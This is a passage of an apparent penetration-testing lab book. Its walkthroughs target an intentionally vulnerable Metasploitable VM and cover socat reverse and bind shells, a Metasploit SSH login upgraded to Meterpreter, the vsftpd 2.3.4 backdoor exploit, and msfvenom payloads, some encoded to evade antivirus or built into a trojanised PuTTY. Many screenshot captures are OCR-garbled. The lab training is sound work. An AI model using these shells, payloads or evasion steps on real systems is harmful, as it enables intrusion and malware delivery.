Lab Walkthrough:

Task 1:

In this lab, we will be using socat to create a reverse shell on a metasploitable
machine. If you are unfamiliar with metasploitable, it is an intentionally
vulnerable machine which can be loaded in VMware, the same as Kali Linux.
You can download the metasploitable iso file here:
https://docs.rapid7.com/metasploit/metasploitable-2/

You can find a lot of material on this page on how to download and setup the
Metasploitable VM.


https://docs.rapid7.com/metasploit/metasploitable-2/
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We will use both Kali Linux and Metasploitable for this lab. Remember to
put both machines on the same isolated host-only network to talk to each
other. When login is required, you will enter “msfadmin” as username and
password.

Task 2:

Socat comes pre-installed on Kali Linux. The main difference between netcat
and socat is that the syntax for using socat is more difficult to understand.
Socat is used to make connections between two points. These points can be
anything. We will begin by creating a reverse shell connecting our Kali VM
to our Metasploitable VM.

First, let’s find out the ethO IP address of our Kali VM and write it down. We
will use this information on our Metasploitable VM. Open a terminal screen
in Kali VM and type this command:

ifconfig



ethd: flags=4163< . CA N I> mtu 1500
inet| 19 68 . i £ 25542 broadcast 192.168
ineto U=, i

ether -
RX packets 18154 bytes 5 5 (5.1 MiB)
X errors & dropped @ ov uns @ frame @
TX packe byt 86 (B4.8 KiB)
@ overruns @ carrier @ collisions ¢

192.168.56.103 is IP address of our Kali VM in this case.

Then, establish a listener on our Kali VM by typing the following:
socat TCP-L:8080 -

This creates a listener on our Kali VM and is the equivalent of typing “nc -lvnp
8080 in netcat.

Task 3:
We will then switch to our Metasploitable VM and type the following to
connect back to our Kali VM:

socat TCP: 192.168.56.103:8080 EXEC:”bash -1i”

nsfadninPretasploitable:"S|socat TCP:192.168.56.103:8080 EXEC:"bash
nefadnin@Gretasploitable Hi nEmetasplol [ adninEnetas]
usag ssh [-1Z246RaCfg AngsTtVuXx¥] [-t ‘e55] [-c cipher_s
| [bind_address:lport] [-e escape F configfilel
ilel] I

] [-n [ 1 cad tionl] [ P !:m:'-r'

| wcal t
nsfadninPmetasploitable

If we return to our Kali terminal and attempt to execute commands such as
“id” and “whoami”, we can see that we have succesfully established a shell to
our metasploitable machine.



[ socat Tcp-L:g050 - | <G ()

whoami

msfadmin

id

uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdr
loppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(padmin),

n),119(sambashare),1000(msfadmin) .
ssh Kali VM

This is an unstable shell and it is not interactive, as you can see processes
such as SSH do not work. crtl + ¢ will also kill the shell. This is a useful
technique to know, however, in the event that netcat does not work. Socat is
also very versatile and it is much easier to stabilise the shell, as you will see
in a later lab.

If we were to attempt to establish a reverse shell using socat on a windows
machine, we would need to change the syntax of the command connecting
back to our Kali machine from the Windows machine. The syntax would
change to the following:

socat TCP:<local IP of Windows Machine>:<port> EXEC:powershell.exe,pipes

This command will use the Windows Powershell instead of bash to create the
shell. The pipes options forces powershell to use Unix style standard input
and output, which makes it easier for us to use the shell.



Lab 69. Establishing a Bind Shell
Using Socat

Lab Objective:
Learn how to use the socat tool to get a bind shell on a target.

Lab Purpose:

Socat is a command line-based utility that established two bi-directional byte
streams and transfers data between them. Socat can be used for many
different purposes due to its versatility.

Lab Tool:
Kali Linux and Metasploitable VM.

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:

In this lab, we will be using socat to create a bind shell on a metasploitable
machine. If you are unfamiliar with metasploitable, it is an intentionally
vulnerable machine which can be loaded in VMware, the same as Kali Linux.
You can download the metasploitable iso file here:
https://docs.rapid7.com/metasploit/metasploitable-2/

You can find a lot of material on this page on how to download and setup the
Metasploitable VM.


https://docs.rapid7.com/metasploit/metasploitable-2/
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We will use both Kali Linux and Metasploitable for this lab. Remember to
put both machines on the same isolated host-only network to talk to each
other. When login is required, you will enter “msfadmin” as username and
password.

Task 2:

Socat comes pre-installed on Kali Linux. The main difference between netcat
and socat is that the syntax for using socat is more difficult to understand.
Socat is used to make connections between two points. These points can be
anything. We will begin by creating a bind shell connecting our Kali VM to
our Metasploitable VM.

First, let’s find out the ethO IP address of our Metasploitable VM and write it
down. We will use this information on our Kali VM. Open a terminal screen
in Metasploitable VM and type this command:

ifconfig



nsfadmnin®Pnetasploi
etho Link enc

ii net ad
inetE

nsfadmin@rnetasploitable:™5

192.168.56.102 is IP address of our Metasploitable VM in this case.

Then, establish a listener on our Metasploitable VM by typing the following:
socat TCP-L:8080 EXEC:”bash -1i”

This creates a listener on our Metasploitable VM and is the equivalent to
typing “nc -lvnp 8080” in netcat.

Task 3:
We will then switch to our Kali VM and type the following to connect to our
Metasploitable VM:

socat TCP:192.168.56.102:8080 -

If we return to our Kali terminal and attempt to execute commands such as
“id” and “whoami”, we can see that we have succesfully established a shell to
our Metasploitable VM.

whoami
msfadmin

id

uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdr
om),25(floppy),29(audio),30(dip),44(video), 46(plugdev),107(fuse),111(1
padmin),112(admin),119(sambashare),1000(msfadmin)




This is an unstable bind shell and it is non-interactive, as you can see
processes such as SSH do not work. Ctrl + ¢ will also kill the shell. This is a
useful technique to know, however, in the event that netcat does not work.
Socat is also very versatile and it is much easier to stabilise the shell, as you
will see in a later lab.

If we were to attempt to establish a bind shell using socat on a windows
machine, we would need to change the syntax of the listener on our Windows
machine. The syntax for our listener on a Windows machine would change to
the following:

socat TCP-L:8080 EXEC:powershell.exe,pipes

This command will use the Windows Powershell instead of bash to create the
shell. The pipes option forces powershell to use Unix style standard input and
output, which makes it easier for us to use the shell.



Lab 70. Establishing a Stable Socat
Shell

Lab Objective:
Learn how to stabilise a shell with socat.

Lab Purpose:

Socat is a command line-based utility that established two bi-directional byte
streams and transfers data between them. Socat can be used for many
different purposes due to its versatility.

Lab Tool:
Kali Linux and Metasploitable VM.

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:

In this lab, we will be using socat to create a stable reverse shell on a
metasploitable machine. If you are unfamiliar with metasploitable, it is an
intentionally vulnerable machine which can be loaded in VMware, the same
as Kali Linux. You can download the metasploitable iso file here:
https://docs.rapid7.com/metasploit/metasploitable-2/

You can find a lot of material on this page on how to download and setup the
Metasploitable VM.


https://docs.rapid7.com/metasploit/metasploitable-2/
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We will use both Kali Linux and Metasploitable for this lab. Remember to
put both machines on the same isolated host-only network to talk to each
other. When login is required, you will enter “msfadmin” as username and
password.

Task 2:

Socat comes pre-installed on Kali Linux. The main difference between netcat
and socat is that the syntax for using socat is more difficult to understand.
Socat is used to make connections between two points. These points can be
anything. We will begin by creating a reverse shell connecting our Kali VM

to our Metasploitable VM. We first need to establish a listener on our Kali
VM.

One of the reasons you might use socat over netcat for establishing a shell is
because we can establish a fully stable shell much more quickly and with
greater ease.

First, let’s find out the ethO IP address of our Kali VM and write it down. We
will use this information on our Metasploitable VM. Open a terminal screen
in Kali VM and type this command:

ifconfig



ethe: f

RX packets 18154
{ errors & dropped @

ts 1848 byt 8
ors @ dropped @ overruns @ carrier @ collisions @

192.168.56.103 is the IP address of our Kali VM in this case.

Then, establish a new listener on our Kali VM by typing the following:
socat TCP-L:8080 FILE: tty ,raw,echo=0

This command will establish a listener on the port we specify. It will also
allocate a new tty and set the echo to zero from start, meaning we don’t have
to specify this later like we did with netcat (by hitting CTRL+Z and then
typing “stty raw -echo; fg”).

Task 3:

A normal socat listener can be connected to with any payload, but this new
listener cannot. We will need to use a specific socat command in order to
connect to this listener. For this to work, our target must have socat installed.

We will now switch to our Metasploitable VM. The specific command we
will be typing into the terminal in our Metasploitable VM looks like the
following:

socat TCP:192.168.56.103:8080 EXEC:”bash -li”,pty,stderr,sigint,setsid,sane

Do not break this command above using enter when typing into the terminal
screen!

The first section will connect the Metasploitable VM back to our Kali VM on
the port specified.



e The EXEC:”bash -li” creates an interactive bash shell for us to use
e pty allocates a pseudoterminal on the target, which is required
as part of the stabilisation process

e stderr makes sure any error messages we may encounter get
shown in the shell, which doesn’t happen with a non-interactive
shell

e sigint— If we hit ctrl + c while in the shell, it will now be passed
to any processes we are running in the shell, which allows us to
kill processes and commands in the shell

e setsid will create the process in a new session

e sane will stabilise the terminal and attempt to normalise it

If we return to our Kali terminal and attempt to execute commands such as
“id” and “whoami”, we can see that we have succesfully established a shell to
our metasploitable machine.

.

TCP-L:808@ FILE: tty ,raw,echo=@ !4;_-————_'?'_®

msfadmingmet sploltable:~% whoaml

mstadmin

msfadmingmetasploitable:~% id

uid=10@0(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout)

om),25

(floppy),29(audio),30(dip),44(video), 46(plugdev),107(fuse),111(1

padmin),112(admin),119(sambashare), 1000(msfadmin)
msfadmingmetasploitable:~% ssh
usage: ssh [-1246AaCfgKkMNngqsTtVvXxY] [-b bind_address] [-c cipher_spe

c]

port]

msfadmingmetasploitable:~
msfadmingmetasploitable:~

[-D [bind address:]port] [-e escape char] [-F configfile]
[-i identity file] [-L [bind address:]port:host:hostport]
[-1 loegin name] [-m mac spec] [-O0 ctl cmd] [-o option] [-p

[-R [bind_address:]port:host:hostport] [-S ctl_path]
[-w local tun[:remote tun]] [userd]hostname [command ]

} interactive shell

This is a fully stable reverse shell and it is also interactive, as you can see
interactive processes such as SSH will work. You will also notice that ctrl + ¢



will not kill the shell. You will also notice the msfadmin@metasploitable:~$
indicating that we have a fully featured shell on the target.

Socat can establish a more stable shell on a target with little effort. The main
problem with using this tool is ensuring that the target has the tool installed.



Lab 71. Upgrading a Limited Shell
to Meterpreter Shell Using
Metasploit

Lab Objective:
Learn how to upgrade a shell to Meterpreter using Metasploit.

Lab Purpose:

The Metasploit framework is a powerful tool which can be used to probe
systematic vulnerabilities on networks and servers. It provides information
about security vulnerabilities and aids in penetration testing and IDS
signature development.

Lab Tool:
Kali Linux and Metasploitable

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:

In this lab, we will be using Metasploite to create a stable shell on a
metasploitable machine. If you are unfamiliar with metasploitable, it is an
intentionally vulnerable machine which can be loaded in VMware, the same
as Kali Linux. You can download the metasploitable iso file here:

https://docs.rapid7.com/metasploit/metasploitable-2/

You can find a lot of material on this page on how to download and setup the
Metasploitable VM.


https://docs.rapid7.com/metasploit/metasploitable-2/
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We will use both Kali Linux and Metasploitable for this lab. Remember to
put both machines on the same isolated host-only network to talk to each
other. When login is required, you will enter “msfadmin” as username and
password.

Task 2:

Metasploit comes pre-installed on Kali Linux. In this lab, we will be
establishing a shell on our Metasploitable VM using SSH, and then
upgrading this shell to a meterpreter shell using Metasploit. To begin this lab,
have both your Kali VM and Metasploitable VM up and running. For the
sake of good practice, we will begin by running a scan using Metasploit on
the target. To do this, we will first need to connect Metasploit to the database
by typing the following in our Kali terminal:

sudo msfdb init

in:t<_7————'— @

[sudo] password for kali:

[+] Starting database

[+] Creating database user 'msf’
[+] Creating databases 'msf’

[+] Creating databases 'msf_test'

[+] Creating configuration file '/usr/share/metasploit-framework/config/databa
se.yml'

[+] Creating initial database schema




Once this is done, we can then open the tool by typing the following:

sudo msfconsole

£

= 43 encoders = 18 nops

4 evaslion

_[ i 1 J

=] 2106 exploits 1134 auxiliary 3
___[ =07
] |

Metasploit tip: When in a module, use

back to the top 1

Once the tool is open, we can then run the following to scan our target:

db_nmap -sV 192.168.56.102



ffnmap.org ) at
to determine any DNS serv . R 'se DNS 1s d
F d servers with

: No ' osed por
Nr : POR STATE SERVICE
LLETH open ftp
Nmap: 22/tCp open sh Ope 8ubuntul (protoceol 2.0)
Nmap: 2 D open
Hrl.‘l.p - ' CD open
Nmap: open domain
Nmap : ) open http
Nmap: LC] open rpcbin
Nmap : ) 1 netb
Nmap: 3
Nmap:
L ET

Nmap :

Nmap:

Nmap: 2&/ n  bindshell
Nmap: 2049 n nfs

Nmap: 2 tcp open ftp

Nmap : ; Cp open

Nmap:

open

op

NIC)
sploitable.LAN;
Unix, £
Nmap ce det t i » reéeport any lncorrect

scanned in 13. econds

192.168.56.102 is the IP address of our Metasploitable VM in this instance.
You can find out the IP address of your Metasploitable VM by typing
“ifconfig” in its console.

Task 2:

Note that SSH is running on port 22. Once the scan is done, we will then
login to our Metasploitable VM through Metasploit using SSH. This can be
done by running the following set of commands:

use auxiliary/scanner/ssh/ssh_login
set rhosts 192.168.56.102
set rport 22



set username msfadmin
set password msfadmin

msfb > use auxiliary/scanner/ssh/ssh_login @
"'l"_'-.‘l'-El -.1-”:':11_‘.31_-}"[: :I > St rnosts l'.-l.-."-..:.‘-:"'l':';.fl'fl.].;:]2®
£ = 192.168.56.102

auxiliaryl( ) » set rport 22 @

rport = 22

msf6 auxiliary( ) * set username ms '-:-.-:rr.in@

username s msfadmin

) > set password '!"E-f-:'lli'!I"'_rl®
% g '

Let’s break this set of commands down:

e rhosts is the IP address of your Metasploitable VM which we
will be connecting to

¢ rport is the port through which we will be connecting

e The username and password specified will log us into the
Metasploitable VM using SSH

Once you have typed these commands, type the following to login through
SSH:

run

This will log us into the Metasploitable VM through SSH and will generate a
limited shell for us to interact with the machine.



) » run

msf6 auxiliary(

Id Name T ype Information

shell linux SSH msf:

B.56.102:

msf6 auxiliary(

Task 3:
We now want to upgrade this shell to a meterpreter shell, which will allow us

to perform a number of different actions on our target. We can do this by
using the following set of commands:

use post/multi/manage/shell_to_meterpreter
set session 1
run



5 auxiliary(
st

b 118 « 5 .«
2 opened (19 5.103:4433 — 192.168. at 2021

Type

shell linux

meterpreter x86/linux

This will upgrade our limited SSH shell to an unlimited meterpreter shell.
You can check the sessions which have been created by typing sessions into
the terminal. You will notice that there are now 2 sessions open; one for our
limited SSH shell and one for our unlimited meterpreter shell. We can switch
to our meterpreter shell by typing the following:

sessions -i 2

msfé post(
Starting interaction with 2 ...

F"l:-EJ'-"'I"II'IE-rEI' > I




Lab 72. Exploiting a Vulnerable
FTP Service to Gain a Shell Using
Metasploit

Lab Objective:
Learn how to exploit a vulnerable FTP service to gain a shell using
Metasploit.

Lab Purpose:

The Metasploit framework is a powerful tool which can be used to probe
systematic vulnerabilities on networks and servers. It provides information
about security vulnerabilities and aids in penetration testing and IDS
signature development.

Lab Tool:
Kali Linux VM and Metasploitable VM.

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:

In this lab, we will be using Metasploite to create a stable shell on a
metasploitable machine. If you are unfamiliar with metasploitable, it is an
intentionally vulnerable machine which can be loaded in VMware, the same
as Kali Linux. You can download the metasploitable iso file here:

https://docs.rapid7.com/metasploit/metasploitable-2/

You can find a lot of material on this page on how to download and setup the


https://docs.rapid7.com/metasploit/metasploitable-2/

Metasploitable VM.

Harning: HNever expose this i UnLrus netuworkt

Contact: mslfdeviat asploit.con H-IE.I-J {.-l IT]EH

Login with asfadminsnsfadnin to get started

netasploitable login: _

We will use both Kali Linux and Metasploitable for this lab. Remember to
put both machines on the same isolated host-only network to talk to each
other. When login is required, you will enter “msfadmin” as username and
password.

Task 2:

Metasploit comes pre-installed on Kali Linux. In this lab, we will be
establishing a shell on our Metasploitable VM by exploliting a vulnerable
FTP service. The objective of this lab is to highlight the importance of
enumeration and to show you how a vulnerable service can be exploited
using Metasploit.

To begin, we will first scan our target with nmap using the following
command within Kali:

nmap -v -sC -sV 192.168.56.102 -0X Metasploitable.xml

192.168.56.102 is the IP address of our Metasploitable VM in this instance.
You can find out the IP address of your own Metasploitable VM by typing
“ifconfig” in its console.



Initiating Connect Scan at
Scanning 192.168.56.102 [1 5 )
port 445/tcp on 192.168.56.102

¥

LE n
b vered open port 53/tcp on 192.16 b.102
D vered n port 22/tcp on 192.
open po E tcp on 192.
open port 1 11 'tep on 192
open port B8/ tcp on 192.
port 3 tcp on 1'11,
Discovered open port j ) on 192.
iscovered port 21/tcp on 192
J Cp an

3/ tcp on lﬂ

.

poOrt Jluutup on 192.

This will run a comprehensive scan on our Metasploitable machine. The -0X
command will save the output of this command to an XML file. Once the
scan is done, we can convet this xml file to a html file and then open it in
Firefox, making the results of the scan much easier to read. Use the following
command to do this:

xsltproc Metasploitable.xml -o Metasploitable.html
Once this is done, open this file in Firefox by typing the following command:

firefox Metasploitable.html

Task 3:

With the file open in Firefox, we can easily see what services are running as
well as their version. We are going to focus on port 21, where FTP is running
for this lab. We can see that there is a product called vsftpd running on this
port.



Port State (wggle closed [0] | filtered [0]) Service Reason Product d'ﬂ;{ﬂnn

21 |ep open iip SyT-ack fipd | 234 |
fip-anan
Anonymous FTP login allowed (FTP code 23@)
fip-syst

STAT:

FTP server status:
Connected to 192.168.56.163
Logged in as ftp
TYPE: ASCII
No session bandwidth limit
Session timeout in seconds is 300
Control connection is plain text
Data connections will be plain text
vsFTPd 2.3.4 - secure, fTast, stable

End of status

The next step is to open Metasploit in a new tab in Kali VM by typing the
following:

sudo msfconsole

We will now search the Metasploit database for any exploits related to this
vsftpd product by typing the following:

search vsftpd

msf6 > search vsftpd W—@

Matching Modules

Disclosure Date Rank

@ exploit/unix/ftp/NSFEPH 234 backdoor 2011-087-03
NSFTPD v2.3.45 Backdoor Command Execution

Interact with a module by name or index. For example 1

You will notice that one exploit shows up with the rank of excellent. We will
use this exploit to get a shell on our Metasploitable VM.



Task 4:
Type the following to use the exploit:

use exploit/unix/ftp/vsftpd_234_backdoor

msfe > use exploit/unix/ftp/vsftpd_234 backdoor
No payload configured, defaulting to cmd/unix/interact
msfh exploit(

VSFTPD v

exploit/

Unix

cma

Yes

Metasploit Framework Liclihse (BSD)

Disclosed:

Provided Dy:

Once this is done, type “info” to see how this exploit is used and what it does.
This is a useful resource for learning about different exploits.

Then, type the following to complete the exploit:

set rhosts 192.168.56.102
run



I he password.
» has been spawned, hand

0t ) 21d=@( root )

n l opened (8.9.90.0:9 = 192.]

This will run the exploit and will provide you with a shell on the
Metasploitable VM. We can see that we are also the “root” user on the
Metasploitable VM. This is an example of why enumeration is so important
in finding any vulnerable services, and discovering how to take advantage of
vulnerable services using Metasploit.



Lab 73. Running a Vulnerability
Scan with Nessus

Lab Objective:
Learn how to run a comprehensive vulnerability scan with Nessus.

Lab Purpose:

Nessus is a proprietary vulnerability scanner developed by Tenable Inc. The
tool allows security professionals to perform high-speed asset discovery,
target profiling, configuration auditing, malware detection, sensitive data
discovery, and more.

Lab Tool:
Kali Linux and Metasploitable VM.

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:

If you are unfamiliar with metasploitable, it is an intentionally vulnerable
machine which can be loaded in VMware, the same as Kali Linux. You can
download the metasploitable iso file here:
https://docs.rapid7.com/metasploit/metasploitable-2/

You can find a lot of material on this page on how to download and setup the
Metasploitable VM.


https://docs.rapid7.com/metasploit/metasploitable-2/

Harnimg : is i untrus networkt

Comtact: msifdeviat i I‘T-IE.I-EH {_-l m EI"I

Login with asfadminsnsfadnin to get started

netasploitable login: _

We will use both Kali Linux and Metasploitable VM for this lab. Remember
to put both machines on the same isolated host-only network to talk to each
other. When login is required, you will enter “msfadmin” as username and
password.

Task 2:

First, put the Kali VM temporarily on “Bridged Network”, as we will
download Nessus tool from the internet. To install Nessus, we will have to
visit their site and first register for an activation code at the following link:
https://www.tenable.com/products/nessus/nessus-essentials

Enter your name and email here to receive the code. Once this is done, you
will be redirected to the download page for Nessus Essentials, which is the
free version.


https://www.tenable.com/products/nessus/nessus-essentials

Thank You r { Registering for

Nessus tssenualsi
Check Your Email for the Activation Code

Thank you for registering for Nessus® Essentials. An email
containing your activation code has been sent to you at the email
address you provided.

Download Nessus

To download Nessus, visit the Nessus Download page.

—O)

We are installing the tool on Kali, so we want to pick the version called:

Nessus-8.13.2-debian6_amd64.deb

MD5; 22 7d fcotd MdatocddSadatad4 f2101a -5

SHA256: 611a957a594d358c480f43e5d5e92685223280873¢1887d2a692Tb615b3be3ad 1§

@ Kali Linux 1, 2017.3, 2018, 2019, 45 MB .ﬂpr1 20N E Checksum

@ NES@BUE debianb_amdé4.deb Debian 9,10 [/ K

2020 AMDG4

The numbers may change as the version of nessus is updated, the important
point is that you download the .deb package. Click the Checksum link on the



right hand and copy and paste the SHA256 string someware . Now, we will
calculate and check integrity of the downloaded file against the checksum
which is displayed on the web page. Open a Kali terminal screen, locate the
downloaded file, then type this command:

sha256sum Nessus-8.13.2-debian6_amd64.deb

Compare the calculated result with original hash value. If they match, we can
continue to our next task.

Task 3:
Once this is downloaded, navigate to your downloads folder and type the
following:

chmod +x Nessus-8.13.2-debian6_amd64.deb

This will allow us to execute the file. Then, type the following into your
terminal to unpack the tool:

sudo dpkg -i Nessus-8.13.2-debian6_amd64.deb

sl
Nessus-8.13.2-debian6 amd64.deb <L—S___————'—‘—___———'_®
Selecting previously un tec :
(Reading database ... 2 7 files and directories currently installed.)
Preparing to un k Nessus-8.13.2-debian6_amd64.deb
Unpacking nessus (8.13.2]

rackage nes

Once this is done, we then need to enable the Nessus service by typing the
following command:

sudo /bin/systemctl start nessusd.service

We will now be able to access the Nessus tool in our browser by navigating



to the following link:

https://kali:8834

Once here, you will be asked for your activation code as well as your name
and email that you entered on the Tenable site.

Activating Your Nessus Essentials License

1 'ifr'\-N'J" C

sentials is

Register Nessus

Enber your acinvalion code

Actreation Code

B Register Offlina

. N

O tenable

Once you enter these, you will be asked to set a username and password.
Once this is entered, we are now able to use the Nessus tool after a very long
initialization process. Be patient!

Task 4:
To begin, Nessus wants us to input a range of IP addresses so that we can
discover some targets to scan. Be sure your Kali VM is in “Host-only

Network™ before starting the scan, so you can communicate with your target
Metasploitable VM.


https://kali:8834/

Welcome to Nessus Essentials

Select Metasploitable VM as a target victim from this list.

My Host Discovery Scan Resulls

=- P DNS

192.168.56.100
192,168.56.1

« 192.168.56.102

192.168.56.103

@

Then, hit the “Run Scan” button in the bottom right of the screen to start



Sscan.

Task 5:

The scan will take a few minutes to run as it discovers the numerous
vulnerabilities available on the Metasploitable machine. When finished, you
will be presented with a colour-coded bar of the different vulnerabilities
Nessus has found.

(")nessus

My Basic Network Scan

¢« Back to My Scans

Host Vulnerabalities

192.168.56.102 n

If you click on the IP address, you will be presented with a more detailed
overview of the vulnerabilities discovered with the most severe
vulnerabilities at the top of the list.

You can click on any of these vulnerabilities to discover why it is a
vulnerability and how it can be exploited.



. Sav MName Family Count
—
= SSL (Multiple 1ssues) Gain a shall remotely 3
L Bind Shell Backdoor Detection 0) Backdoors
(%) crmeas |GGG ) nessus
@ - Bind Shell Backdoor Detection
Description
“g‘ CRITICAL Uni ‘ A shell is Estening on the remole port without any authentication being requined. An attacker may use
g Sending Cominands dl'ﬁf"'
T il 9 ,
VNI Solution
m . Werify il the remote host has been compromised, and reinstall the system if necessary
[ MIXED | ISC Bind (Multiple Issuas) DNS 5
&
[ MIXED | SSL (Multiple Issues) Service detection 3
—_—
Task 6:

We can filter the discovered vulnerabilities to focus on the vulnerabilities
which have known exploits available, which allows us to take advantage of
this information. This can be done by clicking the Filter button just below the
Vulnerabilities tab.

Once here, click on the first dropdown menu and select Exploit Available
from the list. Once this is done, click on the plus sign to the far right of the
last dropdown menu. Then, in the first dropdown menu in the second column,
select CVSS Base Score; in the middle dropdown menu select Is More Than;
and in the final textbox, enter the value 6.

Click the Apply button on the bottom right to then see the list of
vulnerabilities discovered with exploits available where the exploit has a
CVSS Base Score of over 6.



My Basic Network Scan / 192.168.56.102

« Back 1o Hosts

Conlfigure Audit Trail

Filters

(1)

W/  an (2) ©)
E’ulmrabnll“':’y/ e S / /«J
2 Filter &} - e oy | prp— = o =

Sey 7 Name & CVES Base Scoome - o e Hhan - [

‘&R@

2 SSL (Mul

[ oo, * e (5 ) e Ftrs
RPL

MFS Exporled Share In...

Apache Tomcat AJP C... Web Servers 1

ISC BIND Denial of Ser... DNS

rlogin Service Detection Service detection 1

We are now left with a list of vulnerabilities which we are able to exploit.
Click on the vulnerabilites to learn how they can be exploited and why they
are vulnerabilties in the first place.



Lab 74. Creating Metasploit
Payloads with Msfvenom

Lab Objective:
Learn how to create Metasploit payloads using Msfvenom.

Lab Purpose:
Msfvenom is a command line instance of Metasploit that is used to generate
payloads and can also encode them.

The Metasploit framework is a powerful tool which can be used to probe
systematic vulnerabilities on networks and servers. It provides information
about security vulnerabilities and aids in penetration testing and IDS
signature development.

Lab Tool:
Kali Linux VM.

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
Both msfvenom and metasploit come pre-installed on Kali. We can view the
help screen for both tools by typing the following into our terminal:

msfvenom
msfconsole

In this lab, we will be learning how to generate payloads which can be
transferred to a target and used to establish a shell on that target through



Metasploit.

Task 2:
This is an easy tool to use as its syntax is the same no matter the payload
being created. The general syntax for this tool looks like the following:

msfvenom -p <payload> LHOST=<Listening IP> LPORT=<Listening port>

It’s as simple as that. I will list some examples of common payloads below
and explain them so that you get an understaning of how to create payloads
of your own.

We can view all payload options by typing the following command:

msfvenom -p linux/x86/meterpreter/reverse_tcp --list-options

Name :
Module: terpreter/reverse_tcp
Platform: Linux, Li
Arch: x86
Needs Admin: No
e: 245
¢: Normal

Provided by:
William Webb <william_webb@rapid7.com>

k.org>

C options:

nt Setting Required Description

LHOST VEs Ihe en address (am interface may be sp
ecified)
LPORT Ves The listen port

Payload 1 — Used for getting a reverse meterpreter shell on a Linux



Metasploitable target machine. Assume that our Kali IP address is
192.168.56.103 in this instance:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=5555 -f elf >
example.elf

L

Linux/x86/meterpreter/reverse tcp LHOST=192.168.56.103
LPORT=5555 elf
[=] Mo platform was selected, choosing Msf :: MO g::Platform:: Linux fr

om the payload %
[-] Mo arch selected, selecting arch: x86 from the phwload
Mo encoder spec

Payload size: 13 yLes \
Final size of elf file: 207 bytes v@

example.elf: EL ) 2B executable, Intel 80386, version 1 (5YsSV),

statically linked, no sectior ader

example

Also, we can understand what type of executable is created by using the
“file” command.

Let’s break this command down:

e -p specifies the payload we wish to use, this is specified in the
following format: OS (Linux)/Arch (x86)/Type of shell
(Meterpreter)/Type of connection (Reverse)

e LHOST is the IP address which we want our target to connect
back to (our attack machine which is Kali VM)

e LPORT is the port we want our target to connect to our
machine through

e -fis the file type we wish to create, in this case elf

e > specifies what we want our payload to be called

Payload 2 — Same as above, but now, we are using it to get a reverse



meterpreter shell on a Windows target:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.123 LPORT=443 -f exe -
o shell.exe

e

windows /x(
23 LPORT=443 exe shell.e
[-] Mo platform was selected, choosing Msf:T
trom the payload : o
[-] No arch selected, selecting arch: x64 from T.I'u,\{-a',.'ll:r-.‘--rl
No encoder specified, outputting raw payload \\

Payload size: 510 bytes

f exe file: 7168 bytes

or MS Windows

Assume that our victim Windows machine’s IP address is 192.168.56.123 in
this instance.

We can understand what type of executable is created by using the “file”
command.

The difference between this payload and the first payload is that we are
generating an EXE file instead of an ELF file.

Payload 3 — Used for getting a bind meterpreter shell on a Linux target:

msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=5555 -f elf > example.elf



[-] Mo platform was

oad

[-] Ne arch selected, selecting arch: from the payload
No encoder specified, outputting raw payload

Payload size: 111 bytes

, Intel B@3B6, version 1 (5YSV), statically

) Section

We can understand what type of executable is created by using the “file”
command.

The command to generate this payload is different as we are generating a
bind shell. This means that our target will listen for us to connect to it, instead
of our target connecting back to use. Therefore, we do not need to supply an
IP address for this command as the target will not be connecting to anything.

Task 3:

We will now look at encoding a payload. Encoding can be used to help evade
IDS and Antivirus solutions, so that our payload is not caught and
quarantined before we can establish a shell on our target. Encoding a payload
is very easy. We can view all available encoders by typing the following:

msfvenom -1 encoders



-

encoders b @

Framework Encoders » <value>]

Name Rank Description

cmd/brace Low
cmd, ho good
manual

low : e ${IFS} Substitution Command En

normal
owershell_basebd excellent

Encoded payload example:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.123 LPORT=443 -e
x86/shikata_ga_nai -f exe -o payload.exe

3 LPORT=443
x86/shikata_ga nai
[-] No platform was selecte sf: s P1 «Windows from the
payload

[-] No arch selected, selecting arch: x86 from

- |
d with 1 iterat ; of x86/shikata_ga nai @

d with size

i chosen with final

or MS Windows

Assume that our victim Windows machine’s IP address is 192.168.56.123 in
this instance;

The -e option is used to specify the type of enctyption we want to encrypt our



payload with. In this case, we have choosen the x86/shikata_ga_nai enctyption
option for our payload.

Task 4:
Finally, we can also create payloads using templates. This can be done with
the following syntax:

msfvenom -p [payload] LHOST=<IP address> LPORT=<Port> -x [template] -f [formattype] >
outputfile

In this command, -x is used to specify the template we want to use. The
following command is an example of creating a payload using the Putty
template.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.123 LPORT=443 -x
putty.exe -f exe > evilputty.exe

192.168.56.123 LPORT=443
evilputty
[-] No platform was selected, choosing Msf :: ModUT latform::Windows from the
EVRGET
[-] arch selected, selecting arch: x86 from the payload @

fied, outputting raw payload

: le9cese bytes

utable (GUI) Intel , for MS Windows
cecutable (GUI) Inte 6, for MS Windows

el F (a
--r-- 1 kali kali

Assume that our victim Windows machine’s IP address is 192.168.56.123 in



this instance.

Task 5:

Now, to practice! You can practice creating different payload types and
trying to establish shells on your Windows or Metasploitable systems. We
will be covering how to do this in the next few labs.

You should also experiment with encrypting your payload. You can upload
your unencrypted payload to the following site to see the various different
Antivirus’ which flag your file as a virus: www.virustotal.com

> ] VIRUSTOTAL

-

. oyilputtyexe X

agreeing toour Terms of Service and Privacy Policy, and 1o the sharing of your Sample submissil

submit any personal information; VirusTotal is not responsible for the contents of your submission

|

Confirm upload .*_—._ @



http://www.virustotal.com/

= > VIRUSTOTAL

SUMMARY DETECTION
Acronis 1) Suspicious
Ad-Aware (1) Trojan.CryptZ Gen
AlYac (i Trodan. Crypt? Gen
SecureAge APEX () Malicious
Arcabit I:_l:] Trojan. Crypt Gen
Bast (1) Wini2SwPatch [Wrm]
